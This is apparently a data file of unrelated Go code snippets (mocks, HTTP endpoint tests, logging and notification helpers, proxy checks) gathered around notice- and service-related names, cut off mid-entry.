[ "func (m *MockmonitorInterface) NoticeProxyService(name, endpoint string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"NoticeProxyService\", name, endpoint)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func TestNoticesEndpoint(t *testing.T) {\n\t// Initialize the database connection\n\tmodels.InitDB()\n\n\t// Make the request\n\trequest, _ := http.NewRequest(\"GET\", \"/notices\", nil)\n\tresponse := httptest.NewRecorder()\n\tRouterNotice().ServeHTTP(response, request)\n\n\tvar resp map[string]interface{}\n\tjson.NewDecoder(response.Body).Decode(&resp)\n\n\t// Check if what we wanted is what we got\n\tassert.Equal(t, float64(http.StatusOK), resp[\"status_code\"], \"OK response is expected\")\n}", "func (mr *MockFieldLoggerMockRecorder) Notice(arg0 interface{}, arg1 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0}, arg1...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Notice\", reflect.TypeOf((*MockFieldLogger)(nil).Notice), varargs...)\n}", "func TestInvalidNoticesEndpoint(t *testing.T) {\n\t// Initialize the database connection\n\tmodels.InitDB()\n\n\t// Make the request\n\trequest, _ := http.NewRequest(\"GET\", \"/notices/123456\", nil)\n\tresponse := httptest.NewRecorder()\n\tRouterNotice().ServeHTTP(response, request)\n\n\tvar resp map[string]interface{}\n\tjson.NewDecoder(response.Body).Decode(&resp)\n\n\t// Check if what we wanted is what we got\n\tassert.Equal(t, float64(http.StatusNoContent), resp[\"status_code\"], \"No response is expected\")\n}", "func TestValidNoticesEndpoint(t *testing.T) {\n\t// Initialize the database connection\n\tmodels.InitDB()\n\n\t// Make the request\n\trequest, _ := http.NewRequest(\"GET\", \"/notices/1\", nil)\n\tresponse := httptest.NewRecorder()\n\tRouterNotice().ServeHTTP(response, request)\n\n\tvar resp map[string]interface{}\n\tjson.NewDecoder(response.Body).Decode(&resp)\n\n\t// Check if what we wanted is what we got\n\tassert.Equal(t, float64(http.StatusOK), resp[\"status_code\"], \"OK response is expected\")\n}", "func (dao *Dao) IsNotice(c context.Context, UID int64, targetID int64) (*v1pb.RoomNoticeBuyGuardResp, error) {\n\tterm := dao.GetTermBegin()\n\tbegin := term.Unix()\n\tend := dao.GetTermEnd()\n\n\tresp := &v1pb.RoomNoticeBuyGuardResp{\n\t\tBegin: begin,\n\t\tEnd: end.Unix(),\n\t\tNow: time.Now().Unix(),\n\t\tTitle: \"感谢支持主播\",\n\t\tContent: \"成为船员为主播保驾护航吧~\",\n\t\tButton: \"开通大航海\",\n\t}\n\n\tshouldNotice, err := dao.getShouldNotice(c, UID, targetID, term)\n\tif err != nil {\n\t\tlog.Error(\"dao getShouldNotice uid(%v)roomid(%v)term(%v) error(%v)\", UID, targetID, term.Format(\"2006-01-02\"), err)\n\t\terr = nil\n\t\treturn resp, err\n\t}\n\tresp.ShouldNotice = int64(shouldNotice)\n\treturn resp, nil\n}", "func (m *MockFieldLogger) Notice(arg0 string, arg1 ...interface{}) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0}\n\tfor _, a := range arg1 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tm.ctrl.Call(m, \"Notice\", varargs...)\n}", "func TestProxyValid(t *testing.T) {\n\n\treq, err := http.NewRequest(\"GET\", \"/\", nil)\n\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\tbeego.Debug(\"hola\")\n\t//ctx := context.NewContext()\n\t//beego.Debug(ctx)\n\t//ctx.Reset(w, req)\n\t//ctx.Input = context.NewInput()\n\n\t//ctx.Input.SetData(\"hola\", \"maria\")\n\t//beego.Debug(ctx.Input.GetData(\"hola\"))\n\n\t//date := beego.Date(time.Date(2016, 05, 18, 12, 37, 30, 0, gmt), time.UnixDate)\n\tbeego.BeeApp.Handlers.ServeHTTP(w, req)\n\n\tbeego.Trace(\"testing\", \"TestProxyValid\", \"Code[%d]\\n%s\", w.Code, w.Body.String())\n\n\tConvey(\"Subject: Test Station Endpoint\\n\", t, func() {\n\t\tConvey(\"Status Code Should Be 200\", func() {\n\t\t\tSo(w.Code, ShouldEqual, 200)\n\t\t})\n\t})\n\n}", "func (lc mockNotifyLogger) Info(msg string, args ...interface{}) {\n}", "func okHealthCheck(proxy *Proxy) error {\n\treturn nil\n}", "func (mr *MockEmployeeUseCaseMockRecorder) GetNotice(c interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetNotice\", reflect.TypeOf((*MockEmployeeUseCase)(nil).GetNotice), c)\n}", "func TestNoSendNoError(t *testing.T) {\n\n\ttestErrorInit()\n\n\tgo notifyError(notifier, service)\n\n\ttime.Sleep(100 * time.Millisecond)\n\tif notifier.wasWritten {\n\t\tt.Error(\"There was no message to send for notification\")\n\t}\n}", "func NoticeError(c context.Context, cause error, msg string)", "func TestAgentClientStatusNotify(t *testing.T) {\n\tstate := &ssntpTestState{}\n\tac := agentClient{conn: state}\n\tac.StatusNotify(ssntp.CONNECTED, nil)\n}", "func IndirectlyTested() string {\n\treturn \"This function is tested via a function reference rather than a direct call\"\n}", "func (p Ping) notify(pingErr error) error {\n\tenvelope_ := adapters.Envelope{\n\t\tTitle: \"actuator-failed\",\n\t\tRecipient: \"*\",\n\t}\n\t// TODO proper protocol ?\n\tpayload := fmt.Sprintf(\"endpoint=%s actuator=ping err=%s\", p.Endpoint, pingErr)\n\tif err := p.Adapter.Send(envelope_, payload); err != nil {\n\t\tp.logger.Error(\"Error sending event: %s\", err)\n\t\treturn err\n\t}\n\tp.logger.Info(\"Event '%s' dispatched\", envelope_.Title)\n\treturn pingErr\n}", "func TestAgentClientEventNotify(t *testing.T) {\n\tstate := &ssntpTestState{}\n\tac := agentClient{conn: state}\n\tac.EventNotify(ssntp.TenantAdded, nil)\n}", "func TestPositiveValidation(t *testing.T){\n\tlog.Printf(\"Astrix goes for Peace - Pass good responses\")\n\tctx, cancel := context.WithTimeout(context.Background(), time.Second)\n\tdefer cancel()\n\tconn, err := grpc.DialContext(ctx,\"bufnet\", grpc.WithDialer(bufDialer),grpc.WithInsecure())\n\tif err != nil {\n\t\tt.Fatalf(\"did not connect: %v\", err)\n\t}\n\tdefer conn.Close()\n\tc := pb.NewSearchServiceClient(conn)\n\t\tr, err := c.Search(ctx, &pb.SearchRequest{Query: \"Protocol Buffer\",EmailId: \"[email protected]\"})\n\tif err != nil {\n\t\tt.Fatalf(\"could not execute search: %v\", err)\n\t}\n\t//Lets validate the respose\n\tres := r.Validate()\n\tif res != nil {\n\t\tt.Fatalf(\"Response validation failed: %v\", err)\n\t}\n\tlog.Printf(\"Greeting: %s\", r.SearchResponse)\n}", "func TestInvalidNoticePostNoticeEndpoint(t *testing.T) {\n\t// Initialize the database connection\n\tmodels.InitDB()\n\n\tnotice := &models.Notice{\n\t\tTeacherID: 2,\n\t\tNotice: \"Hi\",\n\t}\n\tjsonNotice, _ := json.Marshal(notice)\n\n\t// Make the request\n\trequest, _ := http.NewRequest(\"POST\", \"/notices\", bytes.NewBuffer(jsonNotice))\n\tresponse := httptest.NewRecorder()\n\tRouterNotice().ServeHTTP(response, request)\n\n\tvar resp map[string]interface{}\n\tjson.NewDecoder(response.Body).Decode(&resp)\n\n\t// Check if what we wanted is what we got\n\tassert.Equal(t, float64(http.StatusNoContent), resp[\"status_code\"], \"No content response is expected\")\n}", "func (mr *MockapprunnerDescriberMockRecorder) Service() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Service\", reflect.TypeOf((*MockapprunnerDescriber)(nil).Service))\n}", "func Test_NotFound(t *testing.T) {\n\tvar (\n\t\tnotFoundMsg ErrorMessage\n\t\tresp *http.Response\n\t)\n\n\tsvc := NewService()\n\tts := httptest.NewServer(svc.NewRouter(\"*\"))\n\tdefer ts.Close()\n\n\treq, _ := http.NewRequest(\"GET\", ts.URL+\"/not_found\", nil)\n\n\toutputLog := helpers.CaptureOutput(func() {\n\t\tresp, _ = http.DefaultClient.Do(req)\n\t})\n\n\tif got, want := resp.StatusCode, http.StatusNotFound; got != want {\n\t\tt.Fatalf(\"Invalid status code, got %d but want %d\", got, want)\n\t}\n\n\tdata, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tt.Fatalf(\"Got an error when reading body: %s\", err.Error())\n\t}\n\terr = json.Unmarshal(data, &notFoundMsg)\n\tif err != nil {\n\t\tt.Fatalf(\"Got an error when parsing json: %s\", err.Error())\n\t}\n\tif got, want := notFoundMsg.Code, http.StatusNotFound; got != want {\n\t\tt.Fatalf(\"Wrong code return, got %d but want %d\", got, want)\n\t}\n\tif got, want := notFoundMsg.Message, \"Not Found\"; got != want {\n\t\tt.Fatalf(\"Wrong message return, got %s but want %s\", got, want)\n\t}\n\n\tmatched, err := regexp.MatchString(`uri=/not_found `, outputLog)\n\tif matched != true || err != nil {\n\t\tt.Fatalf(\"request is not logged :\\n%s\", outputLog)\n\t}\n}", "func (l *Logger) NOTICEok() (LogFunc, bool) { return l.notice, l.Does(syslog.LOG_NOTICE) }", "func (suite *AuthSuite) TestAuthUnknownServiceMember() {\n\t// Set up: Prepare the session, goth.User, callback handler, http response\n\t// and request, landing URL, and pass them into authorizeUnknownUser\n\n\thandlerConfig := suite.HandlerConfig()\n\tappnames := handlerConfig.AppNames()\n\n\t// Prepare the session and session manager\n\tfakeToken := \"some_token\"\n\tsession := auth.Session{\n\t\tApplicationName: auth.MilApp,\n\t\tIDToken: fakeToken,\n\t\tHostname: appnames.MilServername,\n\t}\n\tsessionManager := handlerConfig.SessionManagers().Mil\n\tmockSender := setUpMockNotificationSender() // We should get an email for this activity\n\n\t// Prepare the goth.User to simulate the UUID and email that login.gov would\n\t// provide\n\tfakeUUID, _ := uuid.NewV4()\n\tuser := goth.User{\n\t\tUserID: fakeUUID.String(),\n\t\tEmail: \"[email protected]\",\n\t}\n\tctx := suite.SetupSessionContext(context.Background(), &session, sessionManager)\n\n\t// Call the function under test\n\tresult := authorizeUnknownUser(ctx, suite.AppContextWithSessionForTest(&session), user,\n\t\tsessionManager, mockSender)\n\tsuite.Equal(authorizationResultAuthorized, result)\n\tmockSender.(*mocks.NotificationSender).AssertNumberOfCalls(suite.T(), \"SendNotification\", 1)\n\n\t// Look up the user and service member in the test DB\n\tfoundUser, _ := models.GetUserFromEmail(suite.DB(), user.Email)\n\tserviceMemberID := session.ServiceMemberID\n\tserviceMember, _ := models.FetchServiceMemberForUser(suite.DB(), &session, serviceMemberID)\n\t// Look up the session token in the session store (this test uses the memory store)\n\tsessionStore := sessionManager.Store()\n\t_, existsBefore, _ := sessionStore.Find(foundUser.CurrentMilSessionID)\n\n\t// Verify service member exists and its ID is populated in the session\n\tsuite.NotEmpty(session.ServiceMemberID)\n\n\t// Verify session contains UserID that points to the newly-created user\n\tsuite.Equal(foundUser.ID, session.UserID)\n\n\t// Verify user's LoginGovEmail and LoginGovUUID match the values passed in\n\tsuite.Equal(user.Email, foundUser.LoginGovEmail)\n\tsuite.Equal(user.UserID, foundUser.LoginGovUUID.String())\n\n\t// Verify that the user's CurrentMilSessionID is not empty. The value is\n\t// generated randomly, so we can't test for a specific string. Any string\n\t// except an empty string is acceptable.\n\tsuite.NotEqual(\"\", foundUser.CurrentMilSessionID)\n\n\t// Verify the session token also exists in the session store\n\tsuite.Equal(true, existsBefore)\n\n\t// Verify the service member that was created is associated with the user\n\t// that was created\n\tsuite.Equal(foundUser.ID, serviceMember.UserID)\n}", "func (mr *MockClusterServerMockRecorder) ServiceIn(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ServiceIn\", reflect.TypeOf((*MockClusterServer)(nil).ServiceIn), arg0, arg1)\n}", "func (l *Logger) Notice(a ...interface{}) {\r\n\tl.logInternal(NoticeLevel, 4, a...)\r\n}", "func (mr *MockEmployeeUseCaseMockRecorder) GetCompanyNotice(c, companyId interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetCompanyNotice\", reflect.TypeOf((*MockEmployeeUseCase)(nil).GetCompanyNotice), c, companyId)\n}", "func AlwaysService(proxyInfo *ProxyInfo) bool {\n\treturn true\n}", "func (lc mockNotifyLogger) Trace(msg string, args ...interface{}) {\n}", "func (adminAPIOp) SkipVerification() bool { return true }", "func (c *context) Notice(format string, args ...interface{}) {\n\tc.logger.Notice(c.prefixFormat()+format, args...)\n}", "func notImplemented(rw http.ResponseWriter, r *http.Request) {\n\n}", "func TestPostNonRetriable(t *testing.T) {\n\tstatus := http.StatusBadRequest\n\ttries := 0\n\tts := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(status)\n\t\tif tries++; tries > 1 {\n\t\t\tt.Errorf(\"expected client to not retry after receiving status code %d\", status)\n\t\t}\n\t}))\n\n\tdefer ts.Close()\n\n\tc := &APIClient{\n\t\tBaseURL: ts.URL,\n\t\tClient: ts.Client(),\n\t}\n\n\terr := c.PingSuccess(TestUUID, nil)\n\tif err == nil {\n\t\tt.Errorf(\"expected PingSuccess to return non-nil error after non-retriable API response\")\n\t}\n}", "func (r NopReporter) Notify(ctx context.Context, err error) {}", "func Notice(args ...interface{}) {\n LoggerOf(default_id).Notice(args...)\n}", "func (n *Notifier) Notify(err interface{}) error {\n\t_, sendErr := n.Client.SendNotice(NewNotice(err, nil))\n\treturn ex.New(sendErr)\n}", "func clientInterceptor(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error {\n log.Printf(\"Method Called: %s\", method)\n return invoker(ctx, method, req, reply, cc, opts...)\n}", "func TestCallToPublicService(t *testing.T) {\n\tt.Parallel()\n\n\tclients := Setup(t)\n\n\tt.Log(\"Creating a Service for the helloworld test app.\")\n\tnames := test.ResourceNames{\n\t\tService: test.ObjectNameForTest(t),\n\t\tImage: test.HelloWorld,\n\t}\n\n\ttest.EnsureTearDown(t, clients, &names)\n\n\tresources, err := v1test.CreateServiceReady(t, clients, &names)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create initial Service: %v: %v\", names.Service, err)\n\t}\n\n\tif resources.Route.Status.URL.Host == \"\" {\n\t\tt.Fatalf(\"Route is missing .Status.URL: %#v\", resources.Route.Status)\n\t}\n\tif resources.Route.Status.Address == nil {\n\t\tt.Fatalf(\"Route is missing .Status.Address: %#v\", resources.Route.Status)\n\t}\n\n\tgatewayTestCases := []struct {\n\t\tname string\n\t\turl *url.URL\n\t\taccessibleExternally bool\n\t}{\n\t\t{\"local_address\", resources.Route.Status.Address.URL.URL(), false},\n\t\t{\"external_address\", resources.Route.Status.URL.URL(), true},\n\t}\n\n\tfor _, tc := range gatewayTestCases {\n\t\ttc := tc\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tt.Parallel()\n\t\t\tif !test.ServingFlags.DisableLogStream {\n\t\t\t\tcancel := logstream.Start(t)\n\t\t\t\tdefer cancel()\n\t\t\t}\n\t\t\ttestProxyToHelloworld(t, clients, tc.url, false /*inject*/, tc.accessibleExternally)\n\t\t})\n\t}\n}", "func (nse ErrNoSuchEndpoint) NotFound() {}", "func TestMiddlewares_OnPanic(t *testing.T) {\n\tassert := assertlib.New(t)\n\thook, restoreFct := logging.MockSharedLoggerHook()\n\tdefer restoreFct()\n\tapp, _ := New()\n\trouter := app.HTTPHandler\n\trouter.Get(\"/dummy\", func(http.ResponseWriter, *http.Request) {\n\t\tpanic(\"error in service\")\n\t})\n\tsrv := httptest.NewServer(router)\n\tdefer srv.Close()\n\n\tnbLogsBeforeRequest := len(hook.AllEntries())\n\trequest, _ := http.NewRequest(\"GET\", srv.URL+\"/dummy\", http.NoBody)\n\trequest.Header.Set(\"X-Forwarded-For\", \"1.1.1.1\")\n\tresponse, err := http.DefaultClient.Do(request)\n\tassert.NoError(err)\n\tif err != nil {\n\t\treturn\n\t}\n\trespBody, _ := ioutil.ReadAll(response.Body)\n\t_ = response.Body.Close()\n\n\t// check that the error has been handled by the recover\n\tassert.Equal(http.StatusInternalServerError, response.StatusCode)\n\tassert.Equal(\"Internal Server Error\\n\", string(respBody))\n\tassert.Equal(\"text/plain; charset=utf-8\", response.Header.Get(\"Content-type\"))\n\tallLogs := hook.AllEntries()\n\tassert.Equal(2, len(allLogs)-nbLogsBeforeRequest)\n\t// check that the req id is correct\n\tassert.Equal(allLogs[len(allLogs)-1].Data[\"req_id\"], allLogs[len(allLogs)-2].Data[\"req_id\"])\n\t// check that the recovere put the error info in the logs\n\tassert.Equal(\"error in service\", hook.LastEntry().Data[\"panic\"])\n\tassert.NotNil(hook.LastEntry().Data[\"stack\"])\n\t// check that the real IP is used in the logs\n\tassert.Equal(\"1.1.1.1\", allLogs[len(allLogs)-1].Data[\"remote_addr\"])\n\tassert.Equal(\"1.1.1.1\", allLogs[len(allLogs)-2].Data[\"remote_addr\"])\n}", "func (m *MockEmployeeUseCase) CanCreateNotice(c context.Context, companyId, employeeNo string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CanCreateNotice\", c, companyId, employeeNo)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (app *MgmtApp) defaultNotifyClientAuthenticatedFailed(client Client) {\n loge.Info(\"User failed login: %v\", client.Username())\n}", "func (mr *MockapprunnerDescriberMockRecorder) ServiceURL() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ServiceURL\", reflect.TypeOf((*MockapprunnerDescriber)(nil).ServiceURL))\n}", "func TestRetryRequired(t *testing.T) {\n\tcheck := assert.New(t)\n\tretryRequired := checkRetryRequired(http.StatusServiceUnavailable)\n\tcheck.Equal(retryRequired, true)\n}", "func CheckServiceUnavailable(w *httptest.ResponseRecorder) {\n\tCheckResponseBody(w, 503, \"{\\\"messages\\\":[\\\"There was an error, please try again later\\\"],\\\"errors\\\":{\\\"error\\\":[\\\"service unavailable\\\"]}}\")\n}", "func verifyNoEndpointsUpdate(ctx context.Context, updateCh *testutils.Channel) error {\n\tsCtx, sCancel := context.WithTimeout(ctx, defaultTestShortTimeout)\n\tdefer sCancel()\n\tif u, err := updateCh.Receive(sCtx); err != context.DeadlineExceeded {\n\t\treturn fmt.Errorf(\"unexpected EndpointsUpdate: %v\", u)\n\t}\n\treturn nil\n}", "func (tc TestCases) expect() {\n\tfmt.Println(cnt)\n\tcnt++\n\tif !reflect.DeepEqual(tc.resp, tc.respExp) {\n\t\ttc.t.Error(fmt.Sprintf(\"\\nRequested: \", tc.req, \"\\nExpected: \", tc.respExp, \"\\nFound: \", tc.resp))\n\t}\n}", "func (rs *RouteStatus) MarkServiceNotOwned(name string) {\n\trouteCondSet.Manage(rs).MarkFalse(RouteConditionIngressReady, \"NotOwned\",\n\t\tfmt.Sprintf(\"There is an existing placeholder Service %q that we do not own.\", name))\n}", "func TestGetNotificationNotFound(t *testing.T) {\n\treq, err := http.NewRequest(\"GET\", fmt.Sprintf(\"%s/api/v1/notification/not-found\", server.URL), nil)\n\treq.SetBasicAuth(\"test\", \"test\")\n\tif err != nil {\n\t\tt.Fatal(\"Request failed [GET] /api/v1/notification\")\n\t}\n\n\tresp, _ := http.DefaultClient.Do(req)\n\n\tassert.Equal(t, 404, resp.StatusCode)\n}", "func Notice(v ...interface{}) {\n\tLogger.Notice(v...)\n}", "func cmdNotice(source interface{}, params [][]byte) {\n\n\t// u is allowed to be nil here; it means a message from a server, which\n\t// will be translated into a message from this server.\n\tu, _ := source.(*core.User)\n\tt := string(params[0])\n\n\t// Get the origin of the message.\n\tvar origin interface{}\n\tif u != nil {\n\t\torigin = u.Owndata()\n\t} else {\n\t\torigin = source\n\t}\n\n\tif target := core.GetUser(t); target != nil {\n\t\ttarget.Message(origin, u, params[1], \"noreply\")\n\t\treturn\n\t}\n\n\tif t[0] == '#' {\n\t\tchanname := t[1:]\n\t\tch := core.FindChannel(\"\", channame)\n\t\tif ch != nil {\n\t\t\tch.Message(origin, u, params[1], \"noreply\")\n\t\t\treturn\n\t\t}\n\t}\n}", "func (mr *MockClusterServerMockRecorder) ServiceOut(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ServiceOut\", reflect.TypeOf((*MockClusterServer)(nil).ServiceOut), arg0, arg1)\n}", "func (mr *MockEmployeeUseCaseMockRecorder) CreateNotice(c, companyId, employeeNo, noticeType, visibility, periodStart, periodEnd interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateNotice\", reflect.TypeOf((*MockEmployeeUseCase)(nil).CreateNotice), c, companyId, employeeNo, noticeType, visibility, periodStart, periodEnd)\n}", "func Notice(ctx context.Context, args ...interface{}) {\n\tglobal.Notice(ctx, args...)\n}", "func (mr *MockEmployeeUseCaseMockRecorder) CanCreateNotice(c, companyId, employeeNo interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CanCreateNotice\", reflect.TypeOf((*MockEmployeeUseCase)(nil).CanCreateNotice), c, companyId, employeeNo)\n}", "func (mr *MockProviderMockRecorder) OnServiceUpdate(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"OnServiceUpdate\", reflect.TypeOf((*MockProvider)(nil).OnServiceUpdate), arg0, arg1)\n}", "func serviceUnavailable(resp *ApiResponse, msg string) error {\n resp.StatusCode = http.StatusServiceUnavailable\n resp.Message = []byte(msg)\n resp.ErrorMessage = msg\n\n return nil\n}", "func (mr *MockProviderMockRecorder) Service(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Service\", reflect.TypeOf((*MockProvider)(nil).Service), arg0)\n}", "func (m *MockUnsafePdfServiceServer) mustEmbedUnimplementedPdfServiceServer() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"mustEmbedUnimplementedPdfServiceServer\")\n}", "func TestEventServiceUpdate(t *testing.T) {\n\tvar result EventService\n\terr := json.NewDecoder(strings.NewReader(eventServiceBody)).Decode(&result)\n\n\tif err != nil {\n\t\tt.Errorf(\"Error decoding JSON: %s\", err)\n\t}\n\n\ttestClient := &common.TestClient{}\n\tresult.SetClient(testClient)\n\n\tresult.DeliveryRetryAttempts = 20\n\tresult.DeliveryRetryIntervalSeconds = 60\n\tresult.ServiceEnabled = true\n\terr = result.Update(context.Background())\n\n\tif err != nil {\n\t\tt.Errorf(\"Error making Update call: %s\", err)\n\t}\n\n\tcalls := testClient.CapturedCalls()\n\n\tif !strings.Contains(calls[0].Payload, \"DeliveryRetryAttempts:20\") {\n\t\tt.Errorf(\"Unexpected DeliveryRetryAttempts update payload: %s\", calls[0].Payload)\n\t}\n\n\tif !strings.Contains(calls[0].Payload, \"DeliveryRetryIntervalSeconds:60\") {\n\t\tt.Errorf(\"Unexpected DeliveryRetryIntervalSeconds update payload: %s\", calls[0].Payload)\n\t}\n\n\tif strings.Contains(calls[0].Payload, \"ServiceEnabled\") {\n\t\tt.Errorf(\"Unexpected DeliveryRetryIntervalSeconds update payload: %s\", calls[0].Payload)\n\t}\n}", "func doesIngressReferenceService(ing *v1.Ingress, svc *api_v1.Service) bool {\n\tif ing.Namespace != svc.Namespace {\n\t\treturn false\n\t}\n\n\tdoesReference := false\n\tutils.TraverseIngressBackends(ing, func(id utils.ServicePortID) bool {\n\t\tif id.Service.Name == svc.Name {\n\t\t\tdoesReference = true\n\t\t\treturn true\n\t\t}\n\t\treturn false\n\t})\n\treturn doesReference\n}", "func Notice(v ...interface{}) {\n\tlogger.Notice(v...)\n}", "func (n *Notifier) Notify(ctx context.Context, as ...*types.Alert) (bool, error) {\n\tkey, err := notify.ExtractGroupKey(ctx)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\t//n.logger.Info(key)\n\t//data := notify.GetTemplateData(ctx, n.tmpl, as, n.logger)\n\n\t//tmpl := notify.TmplText(n.tmpl, data, &err)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\t//n.logger.Info(tmpl(n.conf.Message))\n\n\ttitle := fmt.Sprintf(\"容器告警\")\n\t//text := n.genMarkdown(as)\n\tmsg := n.genMarkdown(title,as)\n\tvar buf bytes.Buffer\n\tif err := json.NewEncoder(&buf).Encode(msg); err != nil {\n\t\treturn false, err\n\t}\n\n\tv := n.sign()\n\treq, err := http.NewRequest(http.MethodPost, fmt.Sprintf(\"%s?%s\", yachURL, v.Encode()), &buf)\n\tif err != nil {\n\t\treturn true, err\n\t}\n\tresp, err := n.client.Do(req.WithContext(ctx))\n\tif err != nil {\n\t\treturn true, notify.RedactURL(err)\n\t}\n\tdefer notify.Drain(resp)\n\n\tif resp.StatusCode != 200 {\n\t\treturn true, fmt.Errorf(\"unexpected status code %v\", resp.StatusCode)\n\t}\n\n\trespBody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tn.logger.WithFields(logrus.Fields{\"response\": string(respBody), \"iincident\": key}).WithError(err).Error()\n\t\treturn true, err\n\t}\n\tyachResponse := YachResponse{}\n\terr = json.Unmarshal(respBody, &yachResponse)\n\tif yachResponse.Code != 200 {\n\n\t}\n\tn.logger.WithFields(logrus.Fields{\"response\": string(respBody), \"iincident\": key}).Debug()\n\tdefer notify.Drain(resp)\n\n\treturn true, nil\n}", "func (v *Provider) Diagnose() {\n\trr, err := v.rr()\n\tif err != nil {\n\t\treturn\n\t}\n\n\ttw := tabwriter.NewWriter(os.Stdout, 0, 0, 1, ' ', 0)\n\n\tsort.Slice(rr.OperationList.ServiceInfo, func(i, j int) bool {\n\t\treturn rr.OperationList.ServiceInfo[i].ServiceId < rr.OperationList.ServiceInfo[j].ServiceId\n\t})\n\n\tfor _, si := range rr.OperationList.ServiceInfo {\n\t\tif si.InvocationUrl.Content != \"\" {\n\t\t\tfmt.Fprintf(tw, \"%s:\\t%s\\n\", si.ServiceId, si.InvocationUrl.Content)\n\t\t}\n\t}\n\n\t// list remaining service\n\tservices := lo.FilterMap(rr.OperationList.ServiceInfo, func(si ServiceInfo, _ int) (string, bool) {\n\t\treturn si.ServiceId, si.InvocationUrl.Content == \"\"\n\t})\n\n\tfmt.Fprintf(tw, \"without uri:\\t%s\\n\", strings.Join(services, \",\"))\n\n\ttw.Flush()\n}", "func serviceUnavailable(rw http.ResponseWriter, r *http.Request) {\n\n}", "func (p *provision) verifyRemoteServiceProxy(client *http.Client, printf shared.FormatFn) error {\n\n\tverifyGET := func(targetURL string) error {\n\t\treq, err := http.NewRequest(http.MethodGet, targetURL, nil)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"creating request\")\n\t\t}\n\t\tres, err := client.Do(req)\n\t\tif res != nil {\n\t\t\tdefer res.Body.Close()\n\t\t\tif res.StatusCode != http.StatusOK && res.StatusCode != http.StatusInternalServerError && res.StatusCode != http.StatusUnauthorized {\n\t\t\t\treturn fmt.Errorf(\"GET request to %q returns %d\", targetURL, res.StatusCode)\n\t\t\t}\n\t\t}\n\t\treturn err\n\t}\n\n\tvar res *http.Response\n\tvar verifyErrors error\n\terr := verifyGET(p.GetCertsURL())\n\tverifyErrors = errorset.Append(verifyErrors, err)\n\n\terr = verifyGET(p.GetProductsURL())\n\tverifyErrors = errorset.Append(verifyErrors, err)\n\n\tverifyAPIKeyURL := p.GetVerifyAPIKeyURL()\n\treq, err := http.NewRequest(http.MethodPost, verifyAPIKeyURL, strings.NewReader(`{ \"apiKey\": \"x\" }`))\n\tif err == nil {\n\t\treq.Header.Add(\"Content-Type\", \"application/json\")\n\t\tres, err = client.Do(req)\n\t\tif res != nil {\n\t\t\tdefer res.Body.Close()\n\t\t\tif res.StatusCode != http.StatusUnauthorized && res.StatusCode != http.StatusInternalServerError { // 401 or 500 is ok, either the secret is not there or we didn't use a valid api key\n\t\t\t\tverifyErrors = errorset.Append(verifyErrors, fmt.Errorf(\"POST request to %q returns %d\", verifyAPIKeyURL, res.StatusCode))\n\t\t\t}\n\t\t}\n\t}\n\tif err != nil {\n\t\tverifyErrors = errorset.Append(verifyErrors, err)\n\t}\n\n\tquotasURL := p.GetQuotasURL()\n\treq, err = http.NewRequest(http.MethodPost, quotasURL, strings.NewReader(\"{}\"))\n\tif err == nil {\n\t\treq.Header.Add(\"Content-Type\", \"application/json\")\n\t\tres, err = client.Do(req)\n\t\tif res != nil {\n\t\t\tdefer res.Body.Close()\n\t\t\tif res.StatusCode != http.StatusUnauthorized && res.StatusCode != http.StatusOK {\n\t\t\t\tverifyErrors = errorset.Append(verifyErrors, fmt.Errorf(\"POST request to %q returns %d\", quotasURL, res.StatusCode))\n\t\t\t}\n\t\t}\n\t}\n\tif err != nil {\n\t\tverifyErrors = errorset.Append(verifyErrors, err)\n\t}\n\n\treturn verifyErrors\n}", "func (lc mockNotifyLogger) Warn(msg string, args ...interface{}) {\n}", "func (mr *MockProviderMockRecorder) OnServiceAdd(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"OnServiceAdd\", 